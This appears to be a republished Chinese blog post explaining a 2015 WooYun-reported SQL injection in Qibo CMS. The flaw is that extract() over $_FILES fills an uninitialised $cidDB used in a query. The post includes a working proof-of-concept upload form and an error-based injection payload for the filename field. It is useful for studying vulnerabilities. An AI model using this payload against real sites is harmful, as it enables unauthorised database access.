zoukankan      html  css  js  c++  java
  • 关于wooyun-2015-096990的总结

    漏洞url:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-096990.html

    摘要

    if(!ini_get('register_globals')){
    
    	@extract($_FILES,EXTR_SKIP);//这里是漏洞点。 
    
     //可以看到上面的判断条件是 判断register globals 是不是开启的。
    
     // 如果是关闭的 才会进入。 注意是关闭 不是开启哦。。
    
      // regitser globals这个不用多说 从php 4.2开始默认都是off的
    
     // 基本都是关闭的 曾经提交漏洞 因为需要register globals on 所以被未通过。
    
     //  当是off的时候 extract来把_FILES里的读取出来 用了EXTR_SKIP参数
    
     //  所以不能覆盖之前存在的变量 但是qibo是伪全局 所以我们可以找一个未初始化的
    
     //  _FILES extract出来后 还是一个数组 所以找一个把数组循环出来的
    
     //  因为_FILES数组里的key是我们不可控制的把, 但是一些value可以控制 例如name
    
    }
    

      因为齐博的变量传入都是模拟了一个类似全局变量,只过滤了gpc,但是files没有过滤,齐博也获取了files变量,所以可以通过files绕过全局过滤,然后雨牛就找了个没有定义或初始化的变量,也就是下文中$cidDB,通过文件寻找关键字。

    发现$cidDB作为数组循环他的value的值,并且带入了sql的查询,所以可以注入.

    poc:

    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <title>yzmm - p2j.cn</title>
    </head>
    <body>
      <form action="http://172.16.220.169/v7_gbk/member/comment.php?job=yz" method="POST" enctype="multipart/form-data">
            ID:<input type="file" name="cidDB" value="aa" style="250px;" / ><br/>
            <input type="submit" value="提交" />
        </form>
    </body>
    </html>

    需要抓包,把filename的值改成22' and 1=2 union select exp(~(select * FROM(SELECT USER())a))#就能查询出数据。

  • 相关阅读:
    路由
    更改HTTP头信息
    laravel 笔记
    laraven安装记录
    虚拟机Centos设置静态IP
    关于正向代理,反向代理,负载均衡的个人理解
    exce族函数详解
    【C】多线程编程笔记
    【转】Linux C 网络编程——TCP套接口编程
    MySQL 用户管理及权限管理
  • 原文地址:https://www.cnblogs.com/yangxiaodi/p/6509576.html
Copyright © 2011-2022 走看看